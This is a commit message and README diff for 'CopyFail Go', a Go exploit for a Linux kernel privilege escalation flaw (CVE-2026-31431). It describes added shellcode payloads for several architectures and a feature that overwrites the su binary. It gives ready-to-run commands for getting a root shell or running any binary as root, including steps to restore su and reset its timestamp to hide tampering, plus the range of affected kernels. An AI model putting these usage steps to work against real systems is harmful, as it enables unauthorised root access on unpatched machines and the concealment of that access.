✨feat: allow binary exec and improve documentation

- Added new shellcode payloads for exec-argv1 and exec-bin-sh for amd64, i386, and aarch64 architectures.
- Introduced a backup feature for the su binary before overwriting it.
- Enhanced README.md with usage instructions and details about affected kernels.
- Added build-n-print.sh script for building and printing payloads in hex format.

README.md

@@ -1,7 +1,55 @@
 # CopyFail Go
 
-> Most Linux LPEs need a race window or a kernel-specific offset.Copy Fail is a straight-line logic flaw — it needs neither.The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017.
+> Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017.
 
 A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency.
 
-See [copy.fail](https://copy.fail) for more info.
+See [copy.fail](https://copy.fail) for more info.
+
+## Interactive shell
+
+```shell
+# Get the binary to your Linux host with code execution (exercise for the reader)
+user@host$ chmod +x copyfail-go
+user@host$ ./copyfail-go --backup /tmp/su
+root@host# cat /tmp/su > /usr/bin/su    # Restore the original su binary
+root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
+root@host# rm /tmp/su
+root@host# # Do things as root =)
+```
+
+## Run binary as root
+
+Useful to elevate a program to root
+
+```shell
+# Get the binary to your Linux host with code execution (exercise for the reader)
+user@host$ chmod +x copyfail-go
+user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
+user@host$ # Use whatever you ran to restore su from /tmp/su
+```
+
+## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
+
+```
+floor:    torvalds/linux 72548b093ee3   August 2017, v4.14
+                                        (AF_ALG iov_iter rework that
+                                         introduced the file-page write
+                                         primitive via splice into the AEAD
+                                         scatterlist)
+
+ceiling:  torvalds/linux a664bf3d603d   April 2026, mainline
+                                        (reverts the 2017 algif_aead
+                                         in-place optimization; separates
+                                         source and destination scatterlists
+                                         so page-cache pages can no longer
+                                         be a writable crypto destination)
+```
+
+In between: every major distro kernel that didn't backport the fix.
+Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable
+in their stock cloud-image kernels at disclosure time. Distro-level
+backports started rolling out around 2026-04-29 alongside the public
+disclosure. To verify whether a target kernel is in-window, check whether
+`a664bf3d603d` (or its distro-specific backport) is present in the kernel's
+git log or the distro's changelog.